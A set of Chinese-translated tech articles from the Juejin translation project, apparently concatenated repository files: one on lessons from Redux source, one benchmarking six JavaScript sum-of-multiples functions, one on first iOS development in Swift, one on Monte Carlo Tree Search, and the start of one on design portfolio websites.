if (funcs.length === 1) { return funcs[0] } const last = funcs[funcs.length — 1] const rest = funcs.slice(0, -1) return (…args) => rest.reduceRight((composed, f) => f(composed), last(…args)) } ``` 如果我有两个已知的 square 函数和另一个 double 函数,我可以把它们组成一个新函数。 ``` function square(num) { return num * num; } function double(num) { return num * 2; } function squareThenDouble(num) { return compose(double, square)(num); } console.log(squareThenDouble(7)); // 98 ``` 如果我没看过 Redux 的源码,我都不知道还有这种犀利的操作。 #### 原生方法 当我在看 “compose” 函数的时候,我发现了一个原生数组方法 “reduceRight()”,我之前都没听到过。这让我想知道还有多少我没听过的原生方法。 我们来看一个代码片段,一个使用了原生数组方法 “filter()”,一个没有,通过对比看原生方法存在的价值。 ``` function custom(array) { let newArray = []; for(var i = 0; i < array.length; i++) { if(array[i]) { newArray.push(array[i]); } } return newArray; } function native(array) { return array.filter((current) => current); } const myArray = [false, true, true, false, false]; console.log(custom(myArray)); console.log(native(myArray)); ``` 你可以看到使用 “filter()” 会让你的代码变得简洁。更重要的是,避免了重复造轮子。“filter()” 会被使用上百万次,比起你自己造轮子,可以避免很多 bug。 当你想造轮子的时候,先看看你的问题是否已经被原生方法解决了。你会惊喜的发现有非常多的实用方法在你用的编程语言中。(比如,可以看看 Ruby 的数组的重新排列的[方法](https://ruby-doc.org/core-2.2.0/Array.html#method-i-repeated_permutation)) #### 描述性的函数名 在源码中,我看到了许多有很长名字的函数。 1. getUndefinedStateErrorMessage 2. getUnexpectedStateShapeWarningMessage 3. assertReducerSanity 虽然这函数名读起来会让你的舌头打结,但你可以清楚的知道这个函数是做什么的。 在你的代码中使用描述性的函数名,让你更多的是读代码而不是写代码,别人也可以很轻松的阅读你的代码。 用较长的描述性函数名带来的好处远超过敲击键盘所带来的快感。现代的文本编辑器都有自动补全功能,它可以帮助你输入,所以没有理由再使用类似 “x” 或者 “y” 的变量名。 #### console.error vs. console.log 不要总是使用 console.log,如果你要抛出异常,请使用 console.error,你可以在 console 中看到红色的打印内容和栈的跟踪。 ![](https://cdn-images-1.medium.com/max/800/1*1N-RGnFLtEhcuS9QTCF56w.png) console.error() 查看 console [文档](https://developer.mozilla.org/en-US/docs/Web/API/Console),看看其他的方法。比如计算运行时间的计时器(console.time()),用表格方式打印信息(console.table()),等等。 * * * 不要害怕去读源代码。你肯定会学到一些东西,甚至可以为它贡献代码。 在评论中分享你在阅读源码中的收获吧! --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/what-i-learned-from-writing-six-functions-that-all-did-the-same-thing.md ================================================ > * 原文地址:[What I learned from writing six functions that all did the same thing](https://medium.freecodecamp.com/what-i-learned-from-writing-six-functions-that-all-did-the-same-thing-b38fd48f0d55#.tt79h3s25) * 原文作者:[Jackson Bates](https://medium.freecodecamp.com/@JacksonBates) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[王子建](https://github.com/Romeo0906) * 校对者:[Danny Lau](https://github.com/Danny1451),[luoyaqifei](https://github.com/luoyaqifei) # 写了六个相同功能的函数之后,我学到了什么 几周之前,一个社区在 [Free Code Camp’s Forum](http://forum.freecodecamp.com/t/javascript-algorithm-challenge-october-9-through-16/44096?u=jacksonbates) 上发起了非官方的算法大赛。 这个题目看似很简单:返回小于数字 N 的所有 3 或者 5 的倍数的和,N 是函数的参数。 但不是简单的找到解决办法,[P1xt](https://medium.com/u/bf42d244c85) 的竞赛要求参赛者把重点放在效率上,它鼓励你自己来写测试用例,并且用它们来评估你方案的性能。 以下是我写出并测试过的每个函数的评估,包括我的测试用例和评估脚本。最后,我将展示最终的赢家,就是那个将我所有的作品杀的片甲不留然后狠狠地给我上了一课的函数。 ![](https://media.giphy.com/media/qhY3EfioLSshO/giphy.gif) 给自己的代码做测试,真的是超乎寻常地痛苦啊…… 来自:The Simpsons, 在这里 [Giphy](http://gph.is/1szb6yu) ### 函数 1 :数组,Push 方法,累加 function arrayPushAndIncrement(n) { var array = []; var result = 0; for (var i = 1; i < n; i ++) { if (i % 3 == 0 || i % 5 == 0) { array.push(i); } } for (var num of array) { result += num; } return result; } module.exports = arrayPushAndIncrement; // this is necessary for testing 对于这类问题,我的大脑直接闪现:创建一个数组,然后对这个数组进行操作。 这个函数创建了一个数组,并且将符合条件(能够被 3 或者 5 整除)的数字压入数组,之后遍历得到所有单元的和。 ### 开始测试 这是该函数的自动测试,运行在 NodeJS 环境下,用到了 Mocha 和 Chai 测试工具。 如果你想了解更多关于 Mocha 和 Chai 的安装等信息,可以参考我在自由代码营社区(Free Code Camp's forum)写的一份 [Mocha 和 Chai 测试入门](http://forum.freecodecamp.com/t/testing-your-own-code-using-mocha-and-chai-simple-example/44149?u=jacksonbates) 我依照 [P1xt](https://medium.com/u/bf42d244c85) 提供的标准写了一份简单的测试脚本,需要注意的是在下面这份脚本中,该函数是被封装在模块中的。 // testMult.js var should = require( 'chai' ).should(); var arrayPushAndIncrement = require( './arrayPushAndIncrement' ); describe('arrayPushAndIncrement', function() { it('should return 23 when passed 10', function() { arrayPushAndIncrement(10).should.equal(23); }) it('should return 78 when passed 20', function() { arrayPushAndIncrement(20).should.equal(78); }) it('should return 2318 when passed 100', function() { arrayPushAndIncrement(100).should.equal(2318); }) it('should return 23331668 when passed 10000', function() { arrayPushAndIncrement(10000).should.equal(23331668); }) it('should return 486804150 when passed 45678', function() { arrayPushAndIncrement(45678).should.equal(486804150); }) }) 当我用 `mocha testMult.js` 进行测试的时候,返回了如下结果: ![](https://cdn-images-1.medium.com/max/1600/1*tmJwwmFxPQevv_kEKOWPRw.png) 我们认为本文中所有的函数都已经通过测试,在你的代码中,请给你想要试验的函数添加测试用例。 ### 函数 2 :数组,Push 方法,Reduce 方法 function arrayPushAndReduce(n) { var array = []; for (var i = 1; i < n; i ++) { if (i % 3 == 0 || i % 5 == 0) { array.push(i); } } return array.reduce(function(prev, current) { return prev + current; }); } module.exports = arrayPushAndReduce; 这个函数使用了跟前者相似的方法,但是它没有使用 `for` 循环,而是使用了更加精妙的 `reduce`方法来得到结果。 ### 开始执行效率评估测试 现在我们来比较以上两个函数的效率。再次感谢 [P1xt](https://medium.com/u/bf42d244c85) 在往期主题中提供的这份脚本。 // performance.js var Benchmark = require( 'benchmark' ); var suite = new Benchmark.Suite; var arrayPushAndIncrement = require( './arrayPushAndIncrement' ); var arrayPushAndReduce = require( './arrayPushAndReduce' ); // add tests suite.add( 'arrayPushAndIncrement', function() { arrayPushAndIncrement(45678) }) .add( 'arrayPushAndReduce', function() { arrayPushAndReduce(45678) }) // add listeners .on( 'cycle', function( event ) { console.log( String( event.target )); }) .on( 'complete', function() { console.log( 'Fastest is ' + this.filter( 'fastest' ).map( 'name' )); }) // run async .run({ 'async': true }); 如果你在 `node performance.js` 模式下运行测试,将得到以下输出: arrayPushAndIncrement x 270 ops/sec ±1.18% (81 runs sampled) arrayPushAndReduce x 1,524 ops/sec ±0.79% (89 runs sampled) Fastest is arrayPushAndReduce ![](https://media.giphy.com/media/3oGRFKJ8Ea3hKkLRyE/200_s.gif) 事实证明,还是后者更快!来自 [Giphy](http://gph.is/1UXFu1x) 所以,我们用 `reduce` 方法能够得到一个**快 5 倍**的函数! 如果这还不够激动人心,如果这还不足以激励我们继续进行下去,那我也真的是没谁了! ### 函数 3 :While 循环,数组,Reduce 方法 既然我总是对 `for` 循环情有独钟,所以我觉得我有必要用 `while` 循环试一下: function whileLoopArrayReduce(n) { var array = []; while (n >= 1) { n--; if (n%3==0||n%5==0) { array.push(n); } } return array.reduce(function(prev, current) { return prev + current; }); } module.exports = whileLoopArrayReduce; 那么结果怎样呢?稍微有一点慢: whileLoopArrayReduce x 1,504 ops/sec ±0.65% (88 runs sampled) ### 函数 4 :While 循环,求和,没有数组 我发现不同的循环并没有多大的区别,于是我另辟蹊径,用一个没有数组的方法会怎样呢? function whileSum(n) { var sum = 0; while (n >= 1) { n--; if (n%3==0||n%5==0) { sum += n; } } return sum; } module.exports = whileSum; 当我沿着这个思路勇往直前的时候,我意识到**一直**以来第一选择使用数组是多么错误的行为…… whileSum x 7,311 ops/sec ±1.26% (91 runs sampled) 又一项宏伟的提升:将近是上一个的 **5 倍快**,并且是第一个函数的 **27 倍快**! ### **函数 5 :For 循环,求和** 当然,我们已经知道 for 循环会快一点: function forSum(n) { n = n-1; var sum = 0; for (n; n >= 1 ;n--) { (n%3==0||n%5==0) ? sum += n : null; } return sum; } 这次我用了三元运算符来做条件判断,但是测试结果表明其他版本表现的同样高效。 forSum x 8,256 ops/sec ±0.24% (91 runs sampled) 速度又得到了提升。 我最后一个函数以**快 28 倍**的速度完爆第一个函数。 我感觉我要夺冠了。 我要上天了。 我将摘得桂冠从容小憩。 ### 进入数学的世界 ![](https://media.giphy.com/media/Tf4pP3z2EqowM/giphy.gif) 学着热爱数学:来自 [Giphy](http://gph.is/292GnFR) (Originally, [this music video](https://www.youtube.com/watch?v=vpOau9ZxQNY&t=116s)) 一周很快过去了,每个人的最终答案都被发布、测试、校验。最快的那个函数没有使用循环,而是用了一种代数公式来操作数字: function multSilgarth(N) { var threes = Math.floor(--N / 3); var fives = Math.floor(N / 5); var fifteen = Math.floor(N / 15); return (3 * threes * (threes + 1) + 5 * fives * (fives + 1) - 15 * fifteen * (fifteen + 1)) / 2; } module.exports = multSilgarth; 测试结果马上出来…… arrayPushAndIncrement x 279 ops/sec ±0.80% (83 runs sampled) forSum x 8,256 ops/sec ±0.24% (91 runs sampled) maths x 79,998,859 ops/sec ±0.81% (88 runs sampled) Fastest is maths ### 数学最快 最终获胜的那个函数大概地比我最好的作品**快 9690 倍**,比我最初的作品**快 275,858 倍**。 如果你想找我,我估计要去可汗学院学习数学了。 ================================================ FILE: TODO/what-i-would-like-to-know-before-i-code-my-first-ios-application-in-swift.md ================================================ > * 原文地址:[What I would like to know before I code my first iOS application in Swift](https://medium.com/@bkzl/what-i-would-like-to-know-before-i-code-my-first-ios-application-in-swift-f11fcdde7887#.oeafmue7p) * 原文作者:[Bartłomiej Kozal](https://medium.com/@bkzl?source=post_header_lockup) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[jiaowoyongqi](https://github.com/jiaowoyongqi) * 校对者:[cbangchen](https://github.com/cbangchen), [owenlyn](https://github.com/owenlyn) # 用 Swift 开发我的第一个 iOS 应用前,我想要知道这些内容 上周,我和我[哥哥](http://medium.com/@_mac)使用 Swift 语言开发了第一款[iOS 应用](http://echotags.io/appstore)。通过这篇文章,我想分享在此过程中所收获的心得体会。 *我是一位有六年网站应用开发经验,并且掌握 Ruby 和 JavaScript 的工程师,而最近3个月致力于学习 Swift 编程语言。* ### Objective-C 已亡? Swift 是一款由苹果公司(世界最大的公司之一)创立的编程语言。这也表明了许多事:首先,苹果并不避讳向自己的平台中引入重大的更新。你需要知道的是,这里的重大更新,我指的是包括优先级更新在内的一系列更新措施。 例如,上一次 WWDC 大会中,苹果宣布了将大部分 API 进行重新命名。Swift 是基于原本面向 iOS 开发者的 Objective-C 的基础上进行重大革新的一款编程语言。而且,WWDC 对于我而言,就像放了一周的假前往现场享受有趣的展示和演讲。即使如此,Swift 是我见过卓越的具有公开学习资源的编程语言之一。来看看[相关的项目](https://github.com/apple/swift-evolution/tree/master/proposals)吧。 ![](https://cdn-images-1.medium.com/max/1600/1*j4lJm5Dtpb4jLpGKlInOVA.png) Swift 对阵 DHH ;) 这是否就意味着 Objective-C 已死,无需了解学习了?差不多是的,我能保证图书馆中大部分的书籍和互联网中大部分的代码案例都是由 Objective-C 编写而成的。但是有趣的是,当我在通过 Swift 语言编程的时候,我越来越了解 Objective-C。现在我可以很顺畅地理解 Objective-C 代码。 另一个你需要知道的事情是数量巨大的内部接口,当你准备调用 API 的时候,你可能会被之震惊。你可以通过调用手机功能权限来构建基础的功能,比如相机、麦克风、陀螺仪、加速器以及触摸屏幕等,比为网页编程简单得多。 ### 开发工具 苹果公司出品的 XCode 是神奇的魔术箱。它包含了你在开发 iOS 应用时所需要的所有工具:代码编辑器、界面构建器、数据管理、调试器以及基础构建工具等。 可惜的是,这些工具都存在许多瑕疵。特别在使用界面构建器的时候,我总会在心里冒出黑人问号脸。当我第一次使用界面构建器的时候,我总会惊叹道“哇塞!我可以像使用图形软件 Sketch 和 Photoshop 那样来开发应用界面耶!”但是并未如此美好,界面构建器更像一个为了逃避写代码而生的不切实际的产物,而不是所谓简单的界面设计工具。 有时候你在界面构建器上进行一次操作而却没有什么反应,这并不少见。有很多事你无法预测,你要做的就是了解它;例如你可以直接点击错误提示以消去错误的约束警告。还有,当你移除属性或者事件的时候,也总是要记得把故事板上引用绑定的部分去除。如果你不这样做,也许在编程的时候不会出现什么错误警告,但是当模拟运行 App 的时候就可能会程序崩溃。 你需要找到一个平衡点。根据我的经验,界面构建器主要是用于设计应用主要页面流程,以及布局界面元素的,并做到不同视图控制器之间的无缝链接(而不是按钮与视图控制器之间)。使用代码存储的设置,并且继承已有的界面元素来自定义 UI 元素。 相比于 web 编程,iOS 应用显然有着更多的图形界面编程内容。我的建议是多了解一下那些基础信息,比如矢量图形是什么以及转换是如何实现的。了解这些知识对于你未来将会面对的问题很有帮助。 你时刻需要在真实的设备上来测试的你应用。用鼠标点击模拟器上的感觉和用手指在手机上触控的感觉是完全不一样的。 ![](https://cdn-images-1.medium.com/max/1600/1*oiYF-MoPLhP-4TzkFdYggQ.png) 在模拟器看这个界面上的关闭按钮十分合理,但是在设备上往下滑关闭的手势则会更加直观。 官方的依赖库管理器至今尚未正式发布。但是你可以选择这两个第三方社区: CocoaPods 和 Carthage。目前我正在使用前者,并且至今未遇到太多的问题。 小贴士:别太依赖撤销操作。XCode 无法做到在点击 *cmd+z* 之后跳转到相应的页面,所以你无法看到哪里进行修改了。建议你使用 Git 并且多做修改记录。 ### web 编程和 iOS 编程的差异 当你在创建一个新项目的时候,你会注意到这里没有任何约定俗成的条条框框。相比于具有相似代码结构的 Ruby 应用,iOS 程序对于你的代码没有一个硬性的格式要求。每一位开发者可以根据他们的想法来构建应用。但说实话我并不喜欢这样的方式。Ruby 的规范可以帮助你更直观、更方便地找到代码的位置。 ![](https://cdn-images-1.medium.com/max/1600/1*iLaegkpeKax7WTn7wJNC-g.png) 所以我应该把那些新创建的类放在哪里呢? 我发现的另一件事就是那些很容易在 web 应用上实现的功能,在 App 端就不是一件简单的事,反之亦然。例如,让元素垂直排布是个简单的操作,然而改变标签标题的字体却不是个简单的事。 而那些酷炫的界面动效、页面跳转以及手势操作,使用 iOS 的 API 来实现远比用 JavaScript/CSS 简单得多。 另一大话题就是受限的手机资源和优化性能。你不能通过堆积便宜的硬件来提高应用程序的性能(来响应大规模的用户)。而且应用还会受制于手机自身的电量。使用 CPU 来优化应用的表现是个很常见的做法,但其表现结果因不同的手机型号而相差迥异,这也是一大问题。 调用外部 API 接口是一件十分棘手的事情。目前已经有太多极端错误的例子,如果没有合理地调用,就会出现黑屏或者闪退的问题。 静态类型和实时预编译是非常有用的工具,也能帮助你避免很多错误。我很喜欢可选性( optionals)这个代码特性,它可以确保你不会遗漏那些不引人注意的空值(nil)。现在我在用 ActiveRecord 开发网页应用的时候很怀念可选性( optionals)。 另一方面,我也十分怀念那些在 Ruby 标准库中内置功能的组件。你可以调用 *map()*, *filter()*, 还有 *reduce()* 等代码,以及大量其他有用的代码。多说一句,接口系统中不同的 API 之间常常存在着差异,这是你在设计之前需要注意的。我甚至见过不同名称但是却同一功能的接口,而其中一个只是另一个的老版本。 ### 发布应用 我必须要说出一个事实:筹备发布应用所耗费的时间比我们开发的时间还长!请重视这件事,因为开发一款应用不仅仅只是写代码。 App Store 是唯一一个可以发布自己 iOS 应用的官方平台,而每笔交易需要向苹果支付30%的费用。这个比例的抽成看起来不多,但是看到销售报告的时候你就不会这样想了。更令人惊讶的是,当你再加上收入税的支出,你会发现你到手的仅仅只有销售额的50%。再刨去其他的开支,以及 App Store 上平均价格的制约(大部分的 App 都是免费的或者售价比一杯咖啡还便宜)你会发现你的产品需要有完美的定位以及优秀的运营手段才能走向盈利的道路。 苹果并没有给你足够的工具来支持你的运营推广。你可以制作30秒的广告视频,最多5个截图,还有应用标题、介绍文字及搜索关键词,这三项一共限制在100个字符以内。其他的只能靠你自己的努力了。我觉得他们不提供关键词统计工具这一点非常令人讨厌,因此你必须使用第三方工具。 最后一个细节就是应用的审核时间。一旦你将应用上传到苹果服务器上,并且点击“发布”按钮,你将不得不经历两次等待,第一次是等待被审查,第二次是等待审查完毕。所以不要指望你的新产品或者补丁将会在提交审核的第二天就出现在 App Store 上。 ### 学习资料 即将结束时,我想列出部分自己看过的书单和资源: [Design & Code ](https://designcode.io/)—我是通过这个教程开始学习的,一共包括5本书(其中三本直接关于开发)。这个教程很适合那些从未接触过代码的设计师。虽说这并不是所有人入门的最佳选择,因为里面的部分细节已经有些过时,但我依然推荐给大家。每一章节都有视频版本。 [Stanford CS 193P lecture on iTunes U ](https://itunes.apple.com/us/course/developing-ios-9-apps-swift/id1104579961)—我认为这是最佳的入门教程,因为里面事无巨细的讲解了所有编程时候应该注意的事情。但这不适用于所有新手,因为这需要代码经验。这个教程是免费而且是最新的(Xcode 7,Swift 2 以及 iOS9)。每个章节的最后都会有一个课后练习,确保你在本堂课学到了东西。 [Hacking with Swift](https://gumroad.com/l/hws-book-pack)—这本书包含 Swift 和 iOS 开发的所有知识。和上一本书配合阅读效果极佳。每一章节都是一个用来解释和练习某个 API 的迷你项目。你可能会觉得这本书太厚了,还没读完就会觉得无聊,但这确实物超所值的一本书。 [Pro Swift ](https://gumroad.com/l/proswift)—只写关于 Swift 的高级知识点。每个章节都会附带教学视频,视频中作者将会通过例子来解释知识点。这绝对是你提升 Swift 能力的必读资源。强烈推荐! [100 Days of Swift](http://samvlu.com/tutorials.html) —通过视频教学的方式讲解40个真实的 Swift 编程案例。作者展示了很多“奇技淫巧”以及很多实用的开发技巧。虽说这是面向新手的教程,但是我并不想将之推荐给新手,因为书中缺少对于基本概念的解释。而如果你真的了解并且上手操作过 Swift 或者 iOS 之后,这本书十分值得你阅读。 [iOS Developer Library](https://developer.apple.com/library/ios/navigation/) —我现在使用的主要资源。起步的时候最困难的就是无从下手。在这里你可以看到苹果开发者是如何编写并且组织代码的。但你需要知道里面有些例子是用 Objective-C 写出来的,已经稍稍过时。而且这也是了解最新 API 接口信息的唯一来源。 ![](https://cdn-images-1.medium.com/max/1600/1*ZhHNBLXvxMvjsIp1KIFSsw.jpeg) 爆照啦!右边的是我! 👋 ================================================ FILE: TODO/what-is-mcts.md ================================================ > * 原文地址:[What is MCTS?](http://www.cameronius.com/research/mcts/about/index.html) > * 原文作者:[cameronius](http://www.cameronius.com/) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/what-is-mcts.md](https://github.com/xitu/gold-miner/blob/master/TODO/what-is-mcts.md) > * 译者:[CACppuccino](https://github.com/CACppuccino) > * 校对者:[ppp-man](https://github.com/ppp-man) [CACppuccino](https://github.com/CACppuccino) # 什么是蒙特卡洛树搜索 蒙特卡洛树搜索(MCTS)是一种在人工智能问题中进行决策优化的方法,通常是对于那些在组合游戏中需要移动规划的部分。蒙特卡洛树搜索将随机模拟的通用性与树搜索的准确性进行了结合。 冯·诺依曼于 1928 年提出的极小化极大理论(minimax)为之后的对抗性树搜索方法铺平了道路,而这些在计算机科学和人工智能刚刚成立的时候就成为了决策理论的根基。蒙特卡洛方法通过随机采样解决问题,随后在 20 世纪 40 年代,被作为了一种解决模糊定义问题而不适合直接树搜索的方法。Rémi Coulomb 于 2006 年将这两种方法结合,来提供一种新的方法作为围棋中的移动规划,如今称为蒙特卡洛树搜索(MCTS)。 近期由于它在计算机围棋上的成果和对某些难题具有解决的潜力,科研领域对于 MCTS 的研究兴趣快速上升。它的应用领域已不止于博弈,而且理论上 MCTS 可以应用于任何能够以 **{状态,动作}** 形式描述,通过模拟来预测结果的领域。 --- ## 基本算法 最基本的 MCTS 算法本身就是简单的:根据模拟出来的结果,建立一棵节点相连的搜索树。整个过程可以被分解为如下几步: ![](https://i.imgur.com/Oi1UjD1.png) 1.选择 从根节点 R 开始,递归地选择最优子节点(下面会解释)直到一个叶子节点 L 为止。 2.扩展 如果 L 不是终止节点(就是说,博弈尚未结束)那么就创建一个或多个子节点,并选择其中一个 C。 3.模拟 从 C 执行一次模拟推出(译者注:通常称为 playout 或 rollout)直到得到一个结果。 4.反向传播 用模拟出来的结果更新当前的移动序列。 每一个节点必须包含两部分重要的信息:基于模拟所得结果的估值,和被访问的次数 在最简单和最大化利用内存的执行中,MCTS 会在每次迭代中添加一个子节点。注意,在某些情况下每次迭代增加多个子节点可能会更有益。 --- ## 节点的选择 ### 老虎机与 UCB 算法 在树递归地向下发展时的节点的选择,是取决于该节点是否最大化了某些数量,类似于**多臂老虎机**问题:即玩家每回合都要选择那个能够带给他们最大化收益的老虎机。接下来的上限置信区间(Upper Confidence Bounds, UCB)公式通常会被用到: ![](https://i.imgur.com/0m8A2zl.png) 其中 `vi` 是节点的估值,`ni` 是节点被访问的次数而 `N` 是它的父亲节点被访问的总次数。`C` 是可调的偏置参数。 ### 利用性 vs 探索性 UCB 公式在**利用性**与**探索性**之间提供了不错的平衡,鼓励访问未曾访问过的节点。奖励是基于随机模拟的,所以节点在变的可靠之前必须被访问一定的次数。MCTS 估值往往在开始的表现会非常不可靠,但随着足够多的时间而逐渐向可靠的估值收敛,若有无限多的时间则可以收敛至最优估值。 ### 蒙特卡洛树搜索(MCTS)与上限置信区间树(UCT) Kocsis 和 Szepervari (2006)首先利用 UCB 提出了一个完整的 MCTS 算法并命名为上限置信区间树(UCT)的方法。这个方法正是如今被大多数人采用于 MCTS 的实施中的算法。 UCT 可以被描述为 MCTS 的一种特殊情况,即: UCT = MCTS + UCB --- ## 优点 MCTS 相对传统树搜索方法具有一些不错的优点。 ### 上下文无关 MCTS最大的好处就在于它无需知道该博弈(或者其他问题领域)的任何战术或策略。这个算法可以无需知道任何该博弈的信息(除了可进行的动作和终止条件)。这意味着任何的 MCTS 的实现方案可以在仅仅修改一小部分后便移植到其他的博弈中,对于所有的博弈问题来说 MCTS 的这个特性也是一种隐形的好处。 ### 非对称树增长(Asymmetric Tree Growth) MCTS 表现出一种非对称的树增长来适应搜索空间的拓扑。算法会访问其更‘感兴趣’的节点,并将搜索空间集中于更加相关的部分。 ![](https://i.imgur.com/5ctcMfU.png) 这使得 MCTS 很适合于拥有大量影响因素的博弈中,如 19x19 大小的围棋。如此巨大的空间组合往往会使得标准的深度或广度搜索方法出现问题,但 MCTS 的适应特性意味着它会(最终)找到那些更为优秀的移动(动作)并专注于那里的搜索。 ### 优雅的退出 算法可以在任意时间中止并返回当前最佳的评估策略。建立的搜索树可以被抛弃或为以后的复用而保留。 ### 易用性 算法非常易于实现,可见教程。(译者注:[python](http://mcts.ai/code/python.html) 及 [java](http://mcts.ai/code/java.html) 源码及相关知识点可在此找到) --- ## 缺点 MCTS 虽然只有少量缺陷,但他们可以很严重(影响树搜索的效果)。 ### 博弈强度 MCTS 算法,在最基本的形式下,即使针对中等复杂度的博弈也有可能在一定时间内不能够给出很好的决策。这很可能是由于决策空间的绝对大小和关键树节点在没有被访问足够多的次数的情况下不能够给出可靠的估值的原因。 幸运的是,算法的表现可以通过一些技巧来提升。 --- # 提升方法 这里有两种方法可能有益于提升 MCTS 的实现:一个是对于特定领域,另一个对于所有的领域。 ### 特定的领域(知识) 对于特定博弈的领域知识通常会在进行模拟的阶段被开发出来,这样得到的推出或决策(playout)会与人类的选手的动作更加相似。这意味着推出的结果会变的比随机模拟更加的真实并且节点会在更少的迭代后产生真实可靠的估值。 特定的领域知识提升方法往往需要知道当前博弈已知的一些技巧,如围棋中的捕捉动作或者六贯棋中的桥指令。它们对当前博弈有巨大的提升效果,不过同时也牺牲了通用性。 ### 领域独立(提升方法) 领域独立提升方法有着很大的应用范围,是 MCTS 算法研究中的圣杯,也是当今很多研究所瞄准的方向。许多这样的提升被提出并与不同层面的成功相吻合,从简单(博弈并获胜的移动/避免在推出中可能失败的移动)到复杂的节点初始化和选择方法,还有元策略。 可以通过浏览[提升列表](http://www.cameronius.com/research/mcts/enhancements/index.html)来查看 MCTS 更多提升的细节 --- ## 成立的研究课题 MCTS 仍是研究领域中的新的部分,有许多正在进行的研究课题。 ### 算法提升 几乎所有针对基本算法做出的提升建议都需要更多的研究。可以参考该[提升列表](http://www.cameronius.com/research/mcts/enhancements/index.html) ### 自动化调参 最简单的一个问题是,如何动态地调整搜索参数,如 UCB 中的偏置参数,来最大化算法效果,并且是否其他方面的搜索算法也能类似地被参数化呢。 ### 节点扩展 有些应用适合于每次迭代扩展一个节点,而有些则适合多个。至今尚未有清晰的指导来告诉我们哪些情况下应该使用哪个策略,并且是否可以被自动化。 ### 节点可靠性 若能基于情景和节点在搜索树中的相对位置,知道一个节点要被访问了多少次之后才会变得可靠,会非常有用处。 ### 树形状分析 我们在这一方面已经针对 UCT 树会不会根据所给博弈的特定而产生另一些特征,进行了初步的研究(Williams 2010)。有着不错的结果。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/what-is-the-real-role-of-a-design-portfolio-website.md ================================================ > * 原文地址:[What is the real role of a design portfolio website?](https://uxdesign.cc/what-is-the-real-role-of-a-design-portfolio-website-ee0b5b76112b) > * 原文作者:[Fabricio Teixeira](https://uxdesign.cc/@fabriciot) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/what-is-the-real-role-of-a-design-portfolio-website.md](https://github.com/xitu/gold-miner/blob/master/TODO/what-is-the-real-role-of-a-design-portfolio-website.md) > * 译者:[noturnot](https://github.com/noturnot) > * 校对者:[LeviDing](https://github.com/LeviDing) # 设计作品集网站的真正角色是什么? ## 或“在了解其目的之前,不要评价其作品集”。 设计作品集应该是简洁易懂的并且专注于作品,还是应该成为展现设计师能力和想法的一件艺术品?这是一个二元问题吗? ![](https://cdn-images-1.medium.com/max/2000/1*MFLfVMusiJYm7IvFPUMAAg.jpeg) 不久之前,我在浏览自己订阅的信息时,看到了下面的讨论: ![](https://cdn-images-1.medium.com/max/1600/1*chMYyQsyqEdKcmXmLUwShw.png) 如果你对上述讨论分享的作品集不够熟悉,这里有一个可以给你更多情境的截屏视频,以及一个可以进行测试的[链接](http://narrowdesign.com/): ![](https://cdn-images-1.medium.com/max/1600/1*a9FAjhl5jl5WFc0orJXQuw.gif) 你最近有看过这份作品集吗? > 你或许已经猜到我接下来要说的:关于**可用性与创造性**、**形式与功能**、**性能与美观**、**对比性与易读性**、**共和主义者与民主主义者**、**我与你**的漫长而热烈的讨论。 但是这才是大多数在线讨论中所发生的:人们很快变得两极分化,并且陷入他们所认为的正确或错误的二元方式中。不要误解:**我无意批判讨论的参与者**。事实是像上述这样短小的在线讨论,只有在理解设计决策的所有复杂性之后才能深入。 在阅读所有评论的过程中,我的眼睛开始变得昏沉。我无法避免后退一步并且问自己:“**嘿,首先设计作品集的真正角色是什么?**”。除非参与讨论的人们认识到作品集的目的是什么,他们不会从中获得有成效的结论。 所以接下来让我们做一件我最享受的事情之一吧:将问题分解成小部分,直到其变得更容易解决或回答。 ![](https://cdn-images-1.medium.com/max/1600/1*aNPBhln7iDMY8qRcmoyCfA.jpeg) ### 问题1:设计作品集的角色是什么? 第一步是尽可能多地理解定义作品集角色的各种角度: - **它是用来展示设计师所完成的最终项目吗?** 如果在这种情况下,作品集本身的设计应该是尽可能简单的,专注于内容而非形式。期望精心制作大型、全流失图像,以创造视觉冲击力。这是像 cargocollective,behance 和 squarespace 这样的平台所关注的。 - **它是用来展现设计师的思考过程吗?** 在这种情况下,会期望包含更多文字、幕后可交付成果以及大段解释的项目页面。 - **它本身是否是一件用来展现设计师想法的艺术品?** 在这种情况下,作品集本身就是设计师用来展现其设计技巧和想法的方式,而且没有客户赞助项目常有的约束。它用最纯正的方式,向世界展示了他们关于优质设计的想法。在上面提到的例子中,[narrowdesign.com](http://narrowdesign.com), 其作品集主页正在展现设计师关于设计理论的知识(黄金比例原则),他们对动效设计和动画的精心制作,他们对调色盘的良好品味 —— 以及更多。 